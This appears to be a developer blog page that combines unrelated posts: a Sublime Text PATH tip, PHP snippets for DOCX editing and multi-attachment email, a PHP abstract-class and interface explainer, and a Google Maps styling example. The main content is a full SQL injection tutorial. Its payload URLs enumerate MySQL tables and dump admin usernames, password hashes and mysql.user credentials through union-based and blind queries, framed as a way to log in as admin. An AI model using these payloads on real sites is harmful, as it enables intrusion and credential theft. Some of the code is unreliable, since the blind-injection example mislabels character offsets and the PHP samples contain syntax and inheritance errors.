subl command work for your mac

create the symlink in /usr/local/bin instead of ~/bin and make sure that /usr/local/binin in PATH.

$ ln -s /Applications/Sublime\ Text.app/Contents/SharedSupport/bin/subl /usr/local/bin/.
$ echo $PATH

If you don’t find /usr/local/bin/, then add the following lines to your .bashrc or .zshrc

PATH=$PATH:/usr/local/bin/; export PATH
Advertisements

Full SQL Injection Tutorial (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?

It’s one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc…(in shortly).

1.SQL Injection (classic or error based or whatever you call it) 😀

2.Blind SQL Injection (the harder part)

So let’s start with some action 😀

1). Check for vulnerability

Let’s say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ‘ (quote),

and that would be http://www.site.com/news.php?id=5’

so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar

that means is vulrnable to sql injection 🙂

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <– no error

http://www.site.com/news.php?id=5 order by 2/* <– no error

http://www.site.com/news.php?id=5 order by 3/* <– no error

http://www.site.com/news.php?id=5 order by 4/* <– error (we get message like this Unknown column ‘4’ in ‘order clause’ or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works 🙂

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try —
it’s a comment and it’s important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

i didn’t see any paper covering this problem, so i must write it 🙂

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version 😀

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s …

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good :D)

we know that table admin exists…

now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc…

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up 🙂

i.e md5 hash, mysql hash, sha1…

now we must complete query to look nice 🙂

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser 😀

if can’t guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc… 😀

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc… 😀

if you wanna display column names for specific table use this query. (where clause)

let’s say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won’t work if the magic quotes is ON.

let’s say that we found colums user, pass and email.

now to complete query to put them all together 😀

for that we use concat() , i decribe it earlier.

i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com

That’s all in this part, now we can proceed on harder part 🙂

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done 😀

I must mention, there is very good blind sql injection tutorial by xprog, so it’s not bad to read it 😀

Let’s start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc…

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <— this is always true

and the page loads normally, that’s ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 <— this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don’t work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend 🙂

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one 🙂

let’s say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’.

then let’s check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i’m doing everything manually,cause that makes you better SQL INJECTOR 😀

Hope you learned something from this paper.
Have FUN! (:

Zipped DOCX XML parse and delete commented block

$filename = ‘demo_ms_word.docx’;
$ext = end(explode(‘.’, $filename));
//if its docx file
if($ext == ‘docx’)
{
$dataFile = “word/document.xml”;
}
else
{
die(‘Wrong File’);
}

//Create a new ZIP archive object
$zip = new ZipArchive;

// Open the archive file
if (true === $zip->open($filename)) {
// If successful, search for the data file in the archive
if (($index = $zip->locateName($dataFile)) !== false) {
// Index found! Now read it to a string
$text = $zip->getFromIndex($index);

$document = new DOMDocument();
$document->loadXML($text);
$xpath = new DOMXPath($document);

// Find the DIV with ID “some-div”.
$remove_elements = array();
$notfoundOnSameNode = true;

//From Condition Query found what elemenet need to delete
$tagToDelete = ‘tbl’;

$node = $xpath->query(‘//w:’.$tagToDelete.'[descendant::w:commentRangeStart[@w:id=”2″]]’)->item(0);
$remove_elements[] = $node;

if($node->getElementsByTagName(‘w:commentRangeEnd’))
{
$notfoundOnSameNode = false;
}

if($notfoundOnSameNode)
{
while ($node = $node->nextSibling) {
$remove_elements[] = $node;
//echo $node->nodeName;
//echo $node->nodeValue;
// Skip stuff like “#text” elements which cause problems.
if($node->getElementsByTagName(‘w:commentRangeEnd’))
{
break;
}
continue;
}
}

//Delete all remove elmenets from docx
foreach ($remove_elements as $element) {
$element->parentNode->removeChild($element);
}

$final_xml = $document->saveXML();

$zip->deleteName($dataFile);
//Write the new…
$zip->addFromString($dataFile, $final_xml);
}
//Close the archive file
$zip->close();
}

Abstract Classes and Interface in PHP

Abstract class and Interface in php play very important role in oop. In this section we will discuss following point

  1. What is abstract classes.
  2. What is interface
  3. How to implement abstract classes in php
  4. How to implement interface in php
  5. Different between abstract classes and interface.

What is abstract Classes

As from name it seem like something that is hidden. Yes nature of the abstract classes are same. Abstract classes are those classes which can not be directly initialized. Or in other word we can say that you can not create object of abstract classes. Abstract classes always created for inheritance purpose. You can only inherit abstract class in your child class. Lots of people say that in abstract class at least your one method should be abstract. Abstract method are the method which is only defined but declared. This is not true definition as per my assumption. But your any class has at least one method abstract than your class is abstract class.

Usually abstract class are also known as base class. We call it base class because abstract class are not the class which is available directly for creating object. It can only act as parent class of any normal class. You can use abstract class in class hierarchy. Mean one abstract class can inherit another abstract class also.

Abstract classes in PHP

Abstract classes in php are simillar like other oop languages. You can create abstract classes in php using abstract keyword. Once you will make any class abstract in php you can not create object of that class.
abstract class abc
{
public function xyz()
{
return 1;
}
}
$a = new abc();//this will throw error in php

above code will throw error in php.

Abstract classes in php are only for inheriting in other class.
abstract class testParent
{
public function abc()
{
//body of your funciton
}
}
class testChild extends testParent
{
public function xyz()
{
//body of your function
}
}
$a = new testChild();

In above example you are creating of testChild Class. TestChild class is inheriting testParent abstract class. So your abstract class is only available for inheritance. Main motive of creating abstract classes in php is to apply restriction of direct initialization or object creation.

Implementation of abstract method

As we know that abstract functions are those functions of abstract class which is only defined. It will be declared in your child class. You can create any method abstract using keyword abstract. You can only create abstract method either in abstract class or interface. Following is example of the abstract method implementation:

abstract class abc
{
abstract protected function f1($a , $b);
}
class xyz extends abc
{
protected function f1($name , $address)
{
echo "$name , $address";
}
}
$a = new xyz();

In class abc we have defined an abstract function f1. Now when we have inherited class abc then declared function f1. If you have an abstract method in your abstract class then once you inherit your abstract class then it is necessary to declare your abstract method. If you will not declare your abstract method then PHP will throw error in that case.

You can declare your abstract method in child class with the same visibility or less restricted visibility.

abstract class parentTest
{
abstract protected function f1();
abstract public function f2();
//abstract private function f3(); //this will trhow error
}
class childTest
{
public function f1()
{
//body of your function
}
public function f2()
{
//body of your function
}
protected function f3()
{
//body of your function
}
}
$a = new childTest();

In above code you can see that you have declare 3 function in abstract class. But private declaration of the abstract method will always throw error. Because private method is availabe only in the same class context. But in case of f1. This is protected. Now in child class we have defined it as public because public is less restricted than protected. And for function f2 which is already public so we have defined it as public in our child class. We have defined it public because no any visibility is less restricted than public.

What is Interface ?

Interface in oop enforce definition of some set of method in the class. By implementing interface you are forcing any class to must declaring some specific set of methods in oop. For example if you are creating class to render HTML element then it is necessary to set id and name of your html tag. So in this case you will create interface for that class and define method like setID and setName. So whenever someone will create any class to render HTML tag and implemented your interface then he must need to define setId and setName method in their class. In other word you can say that by help of interface you can set some definition of your object. Interface is very useful if you are creating architecture of any oop base application. Inter

Interface in PHP

Interface in php can be implemented like other oop lanugage. You can create interface in php using keyword interface. By implementation of interface in php class you are specifying set of the method which classes must implement.

You can create interface in php using interface keyword. Rest of the things are typically identical to classes. Following is very small example of interface in php.
interface abc
{
public function xyz($b);
}

So in above code you are creating interface with name abc. Interface abc has function xyz. Whenever you will implement abc interface in your class then you have to create method with name xyz. If you will not create function xyz then it will throw error.

You can implement your interface in your class using implements keyword. Let us implement our interface abc in our class
class test implements abc
{
public function xyz($b)
{
//your function body
}
}

You can only define method in interface with public accessibility. If you will use other than public visibility in interface then it will throw error. Also while defining method in your interface do not use abstract keyword in your methods.

You can also extend interface like class. You can extend interface in php using extendskeyword.
interface template1
{
public function f1();
}
interface template2 extends template1
{
public function f2();
}
class abc implements template2
{
public function f1()
{
//Your function body
}
public function f2()
{
//your function body
}
}

So here template2 has all property of tempate2. So whenever you will implement template2 in your class, you have to create function of both interfaces.

You can also extend multiple interface in one interface in php.
interface template1
{
public function f1();
}
interface template2
{
public function f2();
}
interface template3 extends template1, template2
{
public function f3();
}
class test implements template3
{
public function f1()
{
//your function body
}
public function f2()
{
//your function body
}
public function f3()
{
//your function body
}
}

You can also implement more than one interface in php class.
interface template1
{
public function f1();
}
interface template2
{
public function f2();
}
class test implments template1, template2
{
public function f1()
{
//your function body
}
public function f2()
{
//your function body
}
}

You can not implement 2 interfaces if both share function with same name. It will throw error.

Your function parameter in class must be identical to the parameter in the interface signature. Following is example some example
interface template1
{
public function f1($a)
}
class test implements template1
{
public function f1($a)
{
echo $a;
}
}

Above will work. But following example will not work:
interface template1
{
public function f1($a)
}
class test implements template1
{
public function f1()
{
echo $a;
}
}

But it is not necessary to use the same name of the variable. Like $a. You can also use any name. For example:
interface template1
{
public function f1($a)
}
class test implements template1
{
public function f1($name)
{
echo $name;
}
}

If you are using default argument then you can change your value of the argument. For example
interface template1
{
public function f1($a = 20)
}
class test implements template1
{
public function f1($name  = "ankur")
{
echo $name;
}
}

In above section we have discussed interfaces and abstract classes in php. Both are almost doing same things but has some difference.

Differences between abstract class and interface in PHP

Following are some main difference between abstract classes and interface in php

  1. In abstract classes this is not necessary that every method should be abstract. But in interface every method is abstract.
  2. Multiple and multilevel both type of inheritance is possible in interface. But single and multilevel inheritance is possible in abstract classes.
  3. Method of php interface must be public only. Method in abstract class in php could be public or protected both.
  4. In abstract class you can define as well as declare methods. But in interface you can only defined your methods.

Sending email with multiple attachments with PHP

Today I was looking for a cut/paste script to manage emails with multiple attachments with php and I only found classes, server-side libraries or non-working examples (!!!).

I just needed an easy script and I did not find it
 so I cut/pasted here and there, I changed something, shaked a bit and here it is an easy and working script.

Just fill $files array with the files to be sent, custom email fields and you’re done.

<?php

// array with filenames to be sent as attachment
$files = array("file_1.ext","file_2.ext","file_3.ext",......);

// email fields: to, from, subject, and so on
$to = "mail@mail.com";
$from = "mail@mail.com";
$subject ="My subject";
$message = "My message";
$headers = "From: $from";

// boundary
$semi_rand = md5(time());
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";

// headers for attachment
$headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\"";

// multipart boundary
$message = "This is a multi-part message in MIME format.\n\n" . "--{$mime_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . $message . "\n\n";
$message .= "--{$mime_boundary}\n";

// preparing attachments
for($x=0;$x<count($files);$x++){
$file = fopen($files[$x],"rb");
$data = fread($file,filesize($files[$x]));
fclose($file);
$data = chunk_split(base64_encode($data));
$message .= "Content-Type: {\"application/octet-stream\"};\n" . " name=\"$files[$x]\"\n" .
"Content-Disposition: attachment;\n" . " filename=\"$files[$x]\"\n" .
"Content-Transfer-Encoding: base64\n\n" . $data . "\n\n";
$message .= "--{$mime_boundary}\n";
}

// send

$ok = @mail($to, $subject, $message, $headers);
if ($ok) {
echo "<p>mail sent to $to!</p>";
} else {
echo "<p>mail could not be sent!</p>";
}

?>

Google Maps v3 hide elements (roads, roadsigns, etc)

you are trying to use the new Styled Map features of thev3 Maps API. Here’s a very basic example of how you could use the above style in a simple map

<!DOCTYPE html><html><head><metahttp-equiv="content-type"content="text/html; charset=UTF-8"/><title>Google Maps Dark Water Style Demo</title><scriptsrc="http://maps.google.com/maps/api/js?sensor=false"type="text/javascript"></script></head><body><divid="map"style="width:550px;height:300px;"></div><scripttype="text/javascript">var myStyle =[{
         featureType:"administrative",
         elementType:"labels",
         stylers:[{ visibility:"off"}]},{
         featureType:"poi",
         elementType:"labels",
         stylers:[{ visibility:"off"}]},{
         featureType:"water",
         elementType:"labels",
         stylers:[{ visibility:"off"}]},{
         featureType:"road",
         elementType:"labels",
         stylers:[{ visibility:"off"}]}];var map =new google.maps.Map(document.getElementById('map'),{
       mapTypeControlOptions:{
         mapTypeIds:['mystyle', google.maps.MapTypeId.ROADMAP, google.maps.MapTypeId.TERRAIN]},
       center:new google.maps.LatLng(30,0),
       zoom:3,
       mapTypeId:'mystyle'});

     map.mapTypes.set('mystyle',new google.maps.StyledMapType(myStyle,{ name:'My Style'}));</script></body></html>

hides labels with country names.

To hide an area you have to create your own overlay – some polygon or overlay map type.

When you want to show only an area of the map, it might be also a good idea to limit viewable area of the map.